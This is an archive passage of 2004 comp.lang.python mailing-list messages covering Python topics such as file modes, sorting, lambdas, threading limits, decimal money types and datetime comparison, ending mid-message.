In-Reply-To: <1DB1CE0E-001B-11D9-A6A1-000A95EFAE9E@yahoo.com> References: <2ae25c6b.0409050132.4ce24330@posting.google.com> <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> <864d37090409060733cc54023@mail.gmail.com> <1DB1CE0E-001B-11D9-A6A1-000A95EFAE9E@yahoo.com> Message-ID: <864d37090409061127211c54cb@mail.gmail.com> On Mon, 6 Sep 2004 17:40:44 +0200, Alex Martelli wrote: > Can you point out some specific behavior, some language-design choice, > where Ruby is farther away from Perl than Python is? Ok, I deserve it :-) Short answer -- I think Ruby's object-oriented structure is closer to Python's than Perl's. I don't know many programmers that start writing Perl's code in object-oriented terms; a lot of stuff is just thrown out as simple (unreadable) scripts. On the other hand, it seems to be easier to write object oriented code in Python, even for simple scripts. Long answer: I evaluated Ruby a few years ago. All that I can say is the impression left by the language after a short review. I think that Ruby benefited, in historical terms, to start with a lot of features that were relatively late additions to both Perl and Python. Perl started as a hack. I'm not saying that in any derrogatory sense - it's just the way it is (or was). For example, object orientation was a late addition to the language. Python started as a careful and well structured approach to language design, adding new features one by one. Ruby's approach is (not surprisingly) an attempt at a mid-term -- starting with a well defined and clean framework, but still trying to make things as concise as possible. Many of the first published Ruby examples were written to show how concise some things could be implemented -- I remember seeing examples such as sending email, or loading a URL as samples of concise Ruby code. But all examples, and a lot of Ruby documentation, enforces its object-oriented nature above all. So in this sense I think Ruby is closer to Python than it is to Perl. I hope it sounded convincing ;-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From pfortin at pfortin.com Fri Sep 10 12:01:40 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Fri, 10 Sep 2004 12:01:40 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> Message-ID: <20040910120140.795bcf2b@gypsy.pfortin.com> On Fri, 10 Sep 2004 10:42:08 -0500 Jeff wrote: > In the case of Python, this would become > print "%(width)*(num)d" % {'width': width, 'num': num} If this did change, I'd prefer: print "%(num)*(width)d" % {'width': width, 'num': num} ^^^ ^^^^^ in keeping with "in this order" (PyEssenRef 2nd ed. - P.47) Pierre From timr at probo.com Sun Sep 26 02:16:17 2004 From: timr at probo.com (Tim Roberts) Date: Sat, 25 Sep 2004 23:16:17 -0700 Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> <10lc6dseqo1185e@corp.supernews.com> Message-ID: "Alan G Isaac" wrote: > >I think the following is the same question from another angle. >I have an .zip archive of compressed files that >I want to decompress. Using the zipfile module, >I tried >z=zipfile.ZipFile(local.zip) >for zname in z.namelist(): > localtxtfile='c:/puthere/'+zname > f=open(localtxtfile,'w') > f.write(z.read(zname)) > f.close > >The original files were all plain text, >created on an unspecified platform. Not true. They were in plain text, created on a DOS/Windows platform. >The files I decompressed this way contained >*two successive* carriage returns >(ASCII 13) at the end of each line. >If I change 'w' to 'wb' I get only one >carriage return at the end of each line. > >Why is this extra carriage return added? Because the original file inside the zip file contained \r\n. z.read returns you those exact bytes. When you write "\r\n" to a text file in Windows, the \r is written as \r, and the \n is written as \r\n. This, you end up with \r\r\n. >My original guess was the using 'w' instead >of 'wb' would be the right action, since the >platform for the original files is unspecified >and the original files are known to be plain text. No. If you do not know what your buffer contains, you should always use 'wb' so that those contents are not altered. That's the real lesson: when you write using 'w' or 'wt', the buffer is changed on the way out. You only want that if you know exactly what you are writing. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From cmg at dok.org Fri Sep 17 15:15:17 2004 From: cmg at dok.org (Chris Green) Date: Fri, 17 Sep 2004 15:15:17 -0400 Subject: Sorting a dictionary field belonging to a list References: Message-ID: <87acvovha2.fsf@ion.xlipstream.com> Jocknerd writes: > My question is how would I go about sorting the output based on team['pf'] > for instance? The simplest way would be to use the sort method on the list in the first place. That method takes an optional comparison function that you would have to write. See help(lst.sort) lst = [ {'name': 'z'}, {'name': 'd'}, {'name': 'e'} ] def mycmp(a,b): return cmp(a['name'],b['name']) lst.sort(mycmp) If the original order is important to you, you will be to use something like copy.copy() to make a copy of the list. -- Chris Green "Yeah, but you're taking the universe out of context." From gerrit at nl.linux.org Mon Sep 13 03:02:43 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 13 Sep 2004 09:02:43 +0200 Subject: generator expressions and new ternary operator In-Reply-To: <3b59a80.0409122202.77061a66@posting.google.com> References: <3b59a80.0409122202.77061a66@posting.google.com> Message-ID: <20040913070243.GA18281@nl.linux.org> zipher wrote: > It seems the debate over PEP 308 (if-then-else expression) occurred > prior to the arrival of generator expressions. > > Mightn't this new latter syntax be the ticket to a "one obvious way" > to write a ternary expression in python? > > >>> (foo(i) if i==42 else bar(i)) # i==42 ? foo(i) : bar(i) No. This has been suggested, and been rejected. And since generator expressions have nothing to do with ternary expressions, it is not a reason to re-do the discussion. There are literally thousands of messages in the archives, including sub-threads discussing exactly this syntax. By the time you've (re-)read them all, we'll be way beyond Python 3.0 ;-) yours, Gerrit. -- Weather in Twenthe, Netherlands 13/09 08:25: 14.0?C Broken clouds mostly cloudy wind 4.5 m/s S (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From zanesdad at bellsouth.net Thu Sep 23 07:23:38 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Thu, 23 Sep 2004 07:23:38 -0400 Subject: Python in a Nutshell for Python 2.4 In-Reply-To: <2Pt4d.5568$sa.2954@trndny05> References: <2Pt4d.5568$sa.2954@trndny05> Message-ID: <4152B23A.10008@bellsouth.net> Raymond Hettinger wrote: >[Tuang] > > >>Does anyone (esp. Alex, if you're listening) know if there is an >>update of Python in a Nutshell coming for Python 2.4? >> >> > >I would say let the poor guy finish the Py2.4 Cookbook update first; afterall, >he's only one man. But now there are two Martelli's on the case, so you might >be in luck ;-) > > >Raymond Hettinger > > > > He is just one man, but, after all, he _is_ Alex. Don't underestimate him. He may surprise us all and release Python in a Nutshell updated for Python 3000 by the end of the year ;-) Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: From bokr at oz.net Fri Sep 17 04:26:19 2004 From: bokr at oz.net (Bengt Richter) Date: 17 Sep 2004 08:26:19 GMT Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: On Fri, 17 Sep 2004 07:46:12 +0000 (UTC), Steven Bethard wrote: >Elaine Jackson home.com> writes: >> >> "Terry Reedy" udel.edu> wrote in message >> news:mailman.3428.1095385637.5135.python-list python.org... >> >> | I am curious if there is any reason other that habit carried over from >> | other languages to not write the above as >> | >> | def fu(x): return x >> | def fu(x): return fu(x) + 17 >> | etc >> >> In my interpreter (IDLE 1.0 on Windows 98) it causes an infinite regress. > >Yes, it will, exactly as the lambda version would have. (And all the >solutions suggested to you for the lambda form are equally applicable to the >def form.) The question is why use the lambda form when you *do* want to bind >your function to a name? Basically, > >f = lambda args: body > >is equivalent to > >def f(args): body > >except that the def body is a set of statements (so you have to use 'return'), >and the lambda body is a single expression. Yes, but obj.f = lambda args: body is possible without an intermediate local binding of f that might clobber a previous f, as in def f(args): body obj.f = f del f # if you want to clean up. But better save the old f in that case? I'd rather use lambda. > >Not that it's coming any time soon, but Python 3000 is supposed to remove >lambda functions, so when you really *do* want to bind a function to a name >(like in your case here), it would probably be a good habit to get into to use >defs instead. > Well, if lambda is removed (or not ;-), I hope an anonymous def expression is allowed, so we can write obj.f = def(args): body or obj.f = def(args): body or obj.f = ( def(args): body ) # at or to the left of the def column, for final dedent without special ')' processing. (where def body indentation is referenced from wherever the def is) Regards, Bengt Richter From fuzzyman at gmail.com Tue Sep 28 18:15:57 2004 From: fuzzyman at gmail.com (Fuzzyman) Date: Tue, 28 Sep 2004 23:15:57 +0100 Subject: crossplatform curses-style apps References: Message-ID: On Tue, 28 Sep 2004 21:06:24 +0200, "copx" wrote: >Hi, I want to write a console/terminal app in Python that requires >curses-like functionality. Problem: the python curses module doesn't seem to >work on Windows. In fact it doesn't work (isn't part of the Python package) >on my Linux distro (SUSE Linux 9.1 Special Edition) either. >Well what should I do? The app is supposed to work on Windows and Linux at >least (more platforms would be nice). > >TIA, >copx > There is no curses package for windoze.... A great shame... Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From __peter__ at web.de Wed Sep 8 12:14:12 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 08 Sep 2004 18:14:12 +0200 Subject: Remove items from a list References: <9YvPBls/KvrF089yn@the-wire.com> <0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com> Message-ID: Dan Perl wrote: > But Stan says he tried something like that (see the comment in his code) > and > it was still not working. I would still need a more complete code example > to reproduce the problem and figure out what went wrong. The following example might make it clearer: >>> files = "a.dbf b.dbf x.txt".split() >>> for index, fn in enumerate(files): ... print "checking", fn ... if fn.endswith(".dbf"): ... print "deleting", files[index] ... del files[index] ... checking a.dbf deleting a.dbf checking x.txt >>> The iterator operating on the files list keeps track of its current position in the list by a simple index and is unaware of any changes to that list. If you delete an item _before_ or equal to that index position it will still be incremented on the next pass of the for loop, and therefore you never see item[n] that has become item[n-1] effectively by deleting one of its predecessors. To avoid this kind of trouble, Mel iterates over the list in reverse order - deleting items _after_ the current position cannot confuse the iteration. Peter From tonym1972{at}club-internet{in}fr Mon Sep 27 04:23:36 2004 From: tonym1972{at}club-internet{in}fr (Anthony McDonald) Date: Mon, 27 Sep 2004 10:23:36 +0200 Subject: The technology edge!!! References: Message-ID: <4157cddc$0$15752$7a628cd7@news.club-internet.fr> "physics" wrote in message news:mailman.3933.1096207806.5135.python-list at python.org... > This is all a fact don't beleive me then mail it to > everyone and watch the news in 2 years!! If i'm wrong you can > torcher me fro 60,000 years!! I know the future of technology and > this is as high tech as it can go this is the end of all new > informations! The tree of life!! Or we could torture you with 60,000 lines of Perl to maintain for 1 year ;-)'s > Cognitive Quantum Physics Matrix > > The first step in solving the theory of everything is Cognitive > Quantum Physics Matrix No the first step is to write a PEP and hope the BDFL likes the idea.... but continue anyways. > of finding all that you can feel and see on every frequency level. > You are where you see where your at but can be somewhere else that > you don't see but that's not the golden prize it's the technology > developed Ahhh I see what your saying, we need to patent remote maintainability whilst torturing those pesky opensource kids with 60,000 lines of Perl so they won't feel like presenting any prior art...... Good plan! > from this that will change time travel and space time as we know > it. You could in the end become "GOD" and nobody could find you or > stop you. Not even the BDFL? > You would find Time and Space is the same place.....How > you may ask run www.beyond-science.com with A.I or quantum A.I > but in the end what you will find....be careful sometime what you > see is your mind building it there. After all everything we see and > feel and see it's the frequency we don't feel and see computer > generated or cognitive or both! > Yes I think I can see it now. Quantum paragraphs in email, subtly looking as if you've said everything whilst actually saying nothing. Clever stuff this technology ;-)'s > And this is how quantum artificial intelligence, Quantum mechanics, > Quantum leaping, Quantum physics, Quantum Theory, Quantum dot, > Quantum Teleportation all become outdated!!! > And you just had to wait until I'd written an app to decode your quantum paragraph before telling me that. Oh well luckily it was written in Python so it didn't take much time anyways ;-)'s > So when you get so far and you can do it make a quantium 1 Pico or > less than on nano chip and > Use hyper stop time and put one in everyone head in the world or > make it out of D.N.A and put it in the flu shots. Even if you think > you have found the end of this technology never stop looking > Yes I see your thinking. If we use frequency waves the geeks will just wear tin foil hats to try and stop Python world domination. > In time you will find something so incredible that the smartest A.I > machine, man, or Alien will > Will not be able to comprehend and will say we are less > then .000001% of life and information. > You've seen to the Perl CPAN archives then? > I would like to welcome you to that place that nothing can > intergreat threw no dna matter or quantum conscious mind can find > and when you find it welcome to the generations of life. It's like > a .00000000000000000001% door in our universe.Hard to find but the > first person there > Its not that hard to find. A google for Python brings up the link on the first page. > Will own the key and control the door so who gets there first and > make sure you can get back > Python always trys to be backwards compatible, so upgrades are relatively painless experiences. > You better bring allot of technology anything can happen and will > and everything is possible and > Infinte!! http://www.beyond-science.com > I often think that when we discuss Python 3000, but alas its an iterative process that takes time to achieve :-( From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Thu Sep 23 13:32:40 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 23 Sep 2004 18:32:40 +0100 Subject: spliting a list by nth items In-Reply-To: References: Message-ID: Steven Bethard wrote: > I have a list in a particular order that I want to split into two > lists: the list of every nth item, and the list of remaining items. > It's important to maintain the original order in both lists. > > So the first list is simple: > > nth_items = items[::n] > > The second list is what's giving me trouble. non_nth_items = [x for x in items if x % n] -- Michael Hoffman From grante at visi.com Thu Sep 30 11:12:02 2004 From: grante at visi.com (Grant Edwards) Date: 30 Sep 2004 15:12:02 GMT Subject: Dynamically Generating a Graph in Python References: <47f7cc78.0409300618.332a3278@posting.google.com> Message-ID: <415c2242$0$10209$a1866201@newsreader.visi.com> On 2004-09-30, Tim Henderson wrote: > I want to dynamically generate a graph in python that would be > displayable on a web page. What would be the best way to do this? I'd use gnuplot-py: http://gnuplot-py.sourceforge.net/ > The reason I want to do this, is because I am making a program > to convert data from scientic probes into web pages. I have > been able to do every thing except the graph generation. gnuplot can generate a huge number of different file formats, including png, svg, eps, pdf, ppm, gif, and so on. -- Grant Edwards grante Yow! I will SHAVE and at buy JELL-O and bring my visi.com MARRIAGE MANUAL!! From godoy at ieee.org Mon Sep 20 16:54:03 2004 From: godoy at ieee.org (Jorge Godoy) Date: Mon, 20 Sep 2004 17:54:03 -0300 Subject: Economic considerations References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: Carlos Ribeiro writes: > Pantone is a table of standard spot colors. It's used in professional > printing because they can guarantee you that the color that you'll see > in the final print is *exactly* the same that you see in your own > printed color reference card. Try that in the GIMP, or in any other OS > design package. In general, conversion between different color models > is *tricky*, and you would be surprised at how precise our eyes are > with regards to small differences. Interesting. And what kind of printer has Pantone support built in? I suppose that for such an accuracy you'd have to have a printer that supports it, otherwise you might miss something while converting to/from CMYK or RGB. > (I just read about Scribus, though, and about the color management > system that they're using there - littlecms - this is now being > integrated into GIMP. Don't know the results, but it's the right > step). Scribus is a very nice application, and is evolving very fast. -- Godoy. From ksenia at ksenia.nl Thu Sep 30 12:43:15 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Thu, 30 Sep 2004 18:43:15 +0200 Subject: Web Application In-Reply-To: <2b608e46040930073750bfb23b@mail.gmail.com> References: <2b608e46040930073750bfb23b@mail.gmail.com> Message-ID: > my questions is, anybody know how can i make this more efficient?? or > using something better for generate HTML, or in general, something for > making a web application like a shopping car?? > HTMLTemplate fits very well in MVC model: http://freespace.virgin.net/hamish.sanderson/htmltemplate.html And Quixote framework is a pleasure to program with: http://www.mems-exchange.org/software/quixote/ Ksenia. From kevin_spencer_2 at yahoo.com Tue Sep 21 13:59:59 2004 From: kevin_spencer_2 at yahoo.com (kevin) Date: Tue, 21 Sep 2004 13:59:59 -0400 Subject: python ides References: Message-ID: I am not talking about this ide being the nicest looking, or its drag and drop features for building guis (it doesnt have) , or some other superfluos feature that some people hate about a tipical ide. I am talking about pure functionality we all want, advanced debugging , inline object information , fast proyect development,etc. Well i respect people's opinions , i am just suggesting that you at least see the screenshoots and give it a shoot, you cant deny that some of the features i mentioned are realy time saver , at least if you saw the screenshoots especialy the first one . From FBatista at uniFON.com.ar Mon Sep 27 10:58:26 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Mon, 27 Sep 2004 11:58:26 -0300 Subject: Money data type (was: Why not FP for Money?) Message-ID: [Carlos Ribeiro] #- As far as money representation is concerned, it's really a #- fixed point #- decimal. But while discussing it here, I see less and less need of #- native support form fixed point decimals. I think that in #- the long run #- the current Decimals will prove more than enough for the task of #- handling generic floating point numbers, and that includes money #- amounts as a special case. But it's too early to tell. AFIK, achieving fixed point data type is far more complicated that getting to a Money (or Currency) data type, because you don't do a lot of math with money. The other day, I sketched in my mind some basic needs for Money: - Fixed point - Representation: $1,234.09 or 1234,09EU$, for example, according to location and context settings - Different roundings (seteable by context) It'll support the operations: - Add (Money to Money) - Sub (Money to Money) - Multiply (Money to Decimal or int/long) - Divide, taking into account that returns a tuple with values (if it's called ``divide`` or if ``/`` is allowed is a discussion for later): Money(10).divide(3) -> (Money(3.33), Money(3.33), Money(3.34)) - *That's all* I'll surely write it over Decimal. Someday I'll write a PEP to collect feedback from all of you (but if you want to start it, be my guest, ;). . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From theller at python.net Tue Sep 14 12:21:27 2004 From: theller at python.net (Thomas Heller) Date: Tue, 14 Sep 2004 18:21:27 +0200 Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: <656g254o.fsf@python.net> Carlos Ribeiro writes: > Oh well. A mailing list is not the most appropriate place for rants (a > blog is better), but it's still better than keeping it for myself. > > I'm frustrated. My search for a good IDE to support my activities -- > doing development for Python in the Windows environment -- are not > being succesful as I had originally dreamt. I have big constraints on > what can I do now; money is not an option, and my current machine is > still useful but it's below par for more advanced stuff. It's my > fault? Probably. But it's all that I have -- a 500MHz PC with 64MB and > Win98 SE. It has to be Windows, for reasons beyond my control (read > wife and kids :-). If you work on Windows, you should really, really, really upgrade to win2k, at least - even if it costs some performance on your machine. You can even *use* the 'dos-box' then ;-). Thomas From askari at addressNonValide.com Fri Sep 24 07:31:13 2004 From: askari at addressNonValide.com (Askari) Date: Fri, 24 Sep 2004 11:31:13 GMT Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: "Guyon Mor?e" wrote in news:41540121$0$3891$4d4ebb8e at news.nl.uu.net: > what is the difference? > > if I open a text file in binary (rb) mode, it doesn't matter... the > read() output is the same. > > > > "rb" and "r" on a text file is the same if your text file have ascii caractere (8bit) but it's not the same for Unicode caractere (16 bit). Bref, if you sure that your file is ONLY text, use "r", else, use always "rb". And "r" don't read the control caractere other that "\n" "\t" .. etc From bingham at cenix-bioscience.com Thu Sep 9 02:17:40 2004 From: bingham at cenix-bioscience.com (Aaron Bingham) Date: Thu, 09 Sep 2004 08:17:40 +0200 Subject: Autoindent error In-Reply-To: <82880e86.0409082133.6eb7840a@posting.google.com> References: <82880e86.0409082133.6eb7840a@posting.google.com> Message-ID: <413FF584.6020902@cenix-bioscience.com> Hi Ruchika, Welcome to Python! Ruchika wrote: >I started writing Python scripts just today and seem to almost always >get the "Autoindent error". > I suspect you mean IndentationError? Before you continue struggling with very fundamental Python issues, please take the time at least to work through the Python Tutorial (http://docs.python.org/tut/tut.html). Or get yourself a good introductory Python book (e.g. Learning Python, Second Edition http://www.amazon.com/exec/obidos/ASIN/0596002815/). If you take some time to read http://www.catb.org/~esr/faqs/smart-questions.htm, it will also save you and everyone else some time. Regards, -- -------------------------------------------------------------------- Aaron Bingham Application Developer Cenix BioScience GmbH -------------------------------------------------------------------- From mmalaterNOSP at Mnycap.rr.com Thu Sep 23 17:00:52 2004 From: mmalaterNOSP at Mnycap.rr.com (Mathieu Malaterre) Date: Thu, 23 Sep 2004 21:00:52 GMT Subject: distutils help Message-ID: <8QG4d.8942$yg.8573@twister.nyroc.rr.com> Hello, I thought this would be easy but I guess I didn't get the distutil feeling. I am trying to write a setup for install my package but I don't understand how to do that. organisation: setup.py /bin/ gdcm.py _gdcm.so libvtkgdcmPython.so /gdcmPython/ gdcm.pth How do you specify setup you want to install library ? Do you use 'data_files' ? Same thing for gdcm.pth is this a 'data_files' also ? Thanks Mathieu From benji at benjiyork.com Sun Sep 26 09:52:44 2004 From: benji at benjiyork.com (Benji York) Date: Sun, 26 Sep 2004 08:52:44 -0500 Subject: Access to MS SQL from Linux? In-Reply-To: <200409260714.i8Q7Estu029899@mail02.syd.optusnet.com.au> References: <200409260714.i8Q7Estu029899@mail02.syd.optusnet.com.au> Message-ID: <4156C9AC.10805@benjiyork.com> Tim Churches wrote: > Um, http://benjiyork.com/images/bg2.jpg looks > like the metal backpanel strip of a 10/100 Mbit/s > NIC. Exactly. I've shown that to several (so called) computer people who didn't have a clue. Maybe we can replace Net+ with that image alone. :) > Or did you want someone to identify the > manufacturer and model number? That would be worth several thousand geek points, but I wouldn't be able to verify the answer. I got the image from Stock.xchng (http://www.sxc.hu), a free stock photo site. > PS OBBTPAPI looks like it will be very useful, > thanks. Good. I'll try to put together a setup.py script for it. If anyone has any Visual Studio skills, it would be great to have the windows version also build a .dll, so the module can be used on Windows. -- Benji York benji at benjiyork.com From zanesdad at bellsouth.net Wed Sep 29 07:46:33 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 29 Sep 2004 07:46:33 -0400 Subject: Maximum number of threads In-Reply-To: References: Message-ID: <415AA099.1070100@bellsouth.net> Kirby Angell wrote: > We are porting our applications from Python 2.2 on RH9 to Python 2.3 > on RH9. One of our apps used to be able to create threads with wild > abandon, 800 or more if necessary. With Python 2.3 we are hitting a > hard limit of 254 on RH9 and around 400 on FC2. > > What is the limiting factor for the number of threads we can create? > Is there a way to increase it? > > -- Kirby Interesting. I modified a little threading script that I have and it puked around creating the 404-405th thread (I'm also running on FC2): Starting thread 404 initing thread 404 Traceback (most recent call last): File "spawn_threads.py", line 28, in ? dn.start() File "/usr/lib/python2.3/threading.py", line 410, in start _start_new_thread(self.__bootstrap, ()) thread.error: can't start new thread The only threading changes that I found on the "What's New in Python 2.3" page was this: """ The thread and threading modules now have companion modules, dummy_thread and dummy_threading, that provide a do-nothing implementation of the thread module's interface for platforms where threads are not supported. The intention is to simplify thread-aware modules (ones that /don't/ rely on threads to run) by putting the following code at the top: try: import threading as _threading except ImportError: import dummy_threading as _threading In this example, _threading is used as the module name to make it clear that the module being used is not necessarily the actual threading module. Code can call functions and use classes in _threading whether or not threads are supported, avoiding an if statement and making the code slightly clearer. This module will not magically make multithreaded code run without threads; code that waits for another thread to return or to do something will simply hang forever. """ ...so I'm not sure what changed to cause you grief. Just out of curiosity, what are you doing that makes you feel like you need to "create threads with wild abandon"? Typically, I think of it as a little scary to just let your program spawn as many threads as it can. Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: From hpenner at gmail.com Wed Sep 1 12:16:24 2004 From: hpenner at gmail.com (Harry Penner) Date: Wed, 1 Sep 2004 11:16:24 -0500 Subject: age of Python programmers In-Reply-To: <6amZc.17353$ni.8118@okepread01> References: <889cbba0.0408181206.1812881c@posting.google.com> <6amZc.17353$ni.8118@okepread01> Message-ID: <822221bb04090109167035d328@mail.gmail.com> 35, started at 13 with BASIC on an Apple ][. -Harry On Wed, 01 Sep 2004 11:44:47 -0400, Steve Holden wrote: > nnes wrote: > > > JanC wrote in message news:... > > > >>Gerardo Herzig -Departamento de Proyectos Especiales e Internet- Facultad > >>de Medicina schreef: > >> > >> > >>>30 years old. First program at 11 (Basic) on ZX Spectrum. > >> > >>/me too (now 30 & started with ZX Spectrum Basic at 11) > > > > > > count another one, me too now 30 years, started with ZX Spectrum Basic at 11 > > I'm 54, and I first programmed an ICT (later ICL) 1900 in Algol 60 and > PLAN at the age of 16. > > regards > Steve > > > -- > http://mail.python.org/mailman/listinfo/python-list > From PPNTWIMBXFFC at spammotel.com Fri Sep 3 09:10:48 2004 From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) Date: Fri, 03 Sep 2004 15:10:48 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? Message-ID: I just read the changes for 2.4 and while scanning the list the past tense built-ins got my attention: sorted() - a new builtin sorted() acts like an in-place list.sort() but can be used in expressions, as it returns a copy of the sequence, sorted. reversed() - a new builtin that takes a sequence and returns an iterator that loops over the elements of the sequence in reverse order (PEP 322) sort() works in-place. reverse() works in-place. The past tense of sort() indicates that a copy of the sequence is returned. The past tense of reverse() indicates that an iterator over the original sequence is returned. To my eyes it lacks a bit of consistency... well both past-tense functions return something (but different somethings although the concepts behind sorting and reversing are similar - a possible future trap for the faq). It is a common trap that sort() and reverse() work in-place. Any tutorial will warn you and still users fall into the trap over and over again... One should take this as a usability weakness of the language! I would like to see Python introducing a naming scheme for built-ins. Ruby for example uses the ! to indicate an in-place function [sort() vs. sort!()]. I know, that the exclamation mark is out of discussion but I would appreciate to have a clear and distinct function naming (Explicit is better than implicit). An example but not very well thought out: sort_inpl() -> in-place returns nothing sort_copy() --> returns a sorted copy sort_iter() -> returns an iterator over the original sequence sort_copy_iter() -> returns an iterator on a copied and sorted sequence What do you think about a naming scheme? Do you have any proposals/ideas? Regards, Marco From loredo at somewhere.cornell.edu Tue Sep 14 17:55:04 2004 From: loredo at somewhere.cornell.edu (Tom Loredo) Date: Tue, 14 Sep 2004 17:55:04 -0400 Subject: Another worthless decorator syntax suggestion References: Message-ID: <414768B8.38FD6BCD@somewhere.cornell.edu> It's beating a dead horse, but: Guido wrote: > Minor issue: "using" is a poor choice of keyword. It resembles C#'s > "using" and perhaps Perl's "use", both of which have completely > different meanings. But there don't seem to be any better alternatives > (the best I could come up with was "transmogrify" :-). "specify" is not in the Wiki but seems to express the various usages better than "using". specify: accepts(int,int) returns(float) classmethod Not that it matters at this point! All the alternatives seem not only ugly but non-pythonic, including the final one. I'm looking forward to P3000, since Chris King's comments in the Wiki look better than what was chosen. -Tom (who has always admired the BDFL's pronouncements in the past, and who does not envy him this particular decision for the lesser of many "evils") -- To respond by email, replace "somewhere" with "astro" in the return address. From peter at engcorp.com Fri Sep 24 07:00:09 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 07:00:09 -0400 Subject: regular expression for integer and decimal numbers In-Reply-To: References: Message-ID: gary wrote: > I want to pick all intergers and decimal numbers out of a string. > Would this be the most correct regular expression to use? > > "\d+\.?\d*" Examples, including the most extreme cases you want to handle, are always a good idea. -Peter From carribeiro at gmail.com Mon Sep 20 18:01:53 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 20 Sep 2004 19:01:53 -0300 Subject: Economic considerations In-Reply-To: References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: <864d3709040920150135698879@mail.gmail.com> On Mon, 20 Sep 2004 17:54:03 -0300, Jorge Godoy wrote: > [on Pantone spot colors] > Interesting. And what kind of printer has Pantone support built in? I > suppose that for such an accuracy you'd have to have a printer that > supports it, otherwise you might miss something while converting to/from > CMYK or RGB. Besides Alex's pointers, professional printing shops also have Pantone inks available. Instead of printing a CMYK separation, you can print a few plates using Pantone spots. It's not generally used for magazines, where four-color separations (or even six-color, for Hexachrome) are the best choice -- mainly because you can never tell which colors are you going to need to print full-color photographs and stuff. But it's widely used for things such as texture printing, for textiles and wallpaper; special editions of books with few colors (for example, using only black & sienna for a elegant old look style; and also for things such as logos and outdoors signaling, where color matching is *must*, and the number of different colors in a single print is small -- less than four colors, in most cases. p.s. A *very small* difference is a big problem, for example, if you're aligning textures printed with different equipment with poor color matching in one or both of them. Even the untrained eye can spot it easily. p.s. It's common for companies to name the Pantone color that is to be used when printing the logo. It's way easier, and more precise, than checking the color card visually. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sun Sep 19 07:31:22 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?Windows-1252?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivi?= =?Windows-1252?Q?ale_en_fuite_perp=E9tuelle.?=) Date: Sun, 19 Sep 2004 13:31:22 +0200 Subject: Determining if a client PC has an Internet connection References: Message-ID: Hi ! Not only Internet, but with good suspicion : test if IP-passerelle is present and answer to ping. Then Ping one or two IP "externals and stables". From ville at spammers.com Thu Sep 30 13:58:03 2004 From: ville at spammers.com (Ville Vainio) Date: 30 Sep 2004 20:58:03 +0300 Subject: python connection to mssql from windows box References: Message-ID: >>>>> "Josh" == Josh Close writes: Josh> On Thu, 30 Sep 2004 09:09:05 +0100, Tim Golden Josh> wrote: >> (which, by the way, is the first non-mailing-list result >> Google gives for python mssql) >> >> TJG Josh> Google? What's that? *rubs eyes in disbelief* http://www.google.com -- Ville Vainio http://tinyurl.com/2prnb From deetsNOSPAM at web.de Thu Sep 16 08:25:45 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Thu, 16 Sep 2004 14:25:45 +0200 Subject: comparing datetime with date References: Message-ID: > There are several meanings. A date is valid for 24 hours. If you think > of a date as point in time there is usually a time part of 0:00 silently > added. No matter which meaning you prefer: Evaluating 2004-09-16 == > 2004-09-16T3:14 as true is very surprising. Its a matter of taste - I've seen plenty of worarounds in my life - especially in database-related code - that exactly tries to create that behaviour of forced equality. The reason beeing that there are not two distinct types date and datetime, but only the latter. A date is all the times from 0:00 to 23:59 only if you you view it with the greater resolution of datetime - if you restrict yourself to dates, its one point. I don't say that your POV isn't correct - but neither is the one currently implemented: If you compare apples to oranges, it depends on what you focus on: If you're strict, you'd say they're different. If you focus on them beeing fruits, you might say they are equal. We deal here with ternary logic - True, False and Bottom/Failure. One can very well argue, that your example int(3) == 3.14 shouldn't work at all, but produce an exception, forcing the programmer to think about explicit conversion. Then you are in ADA-World :) But as python tries to be a convenient language, they silently are coerced to maching types and compared then. The same happened here - with a for some people 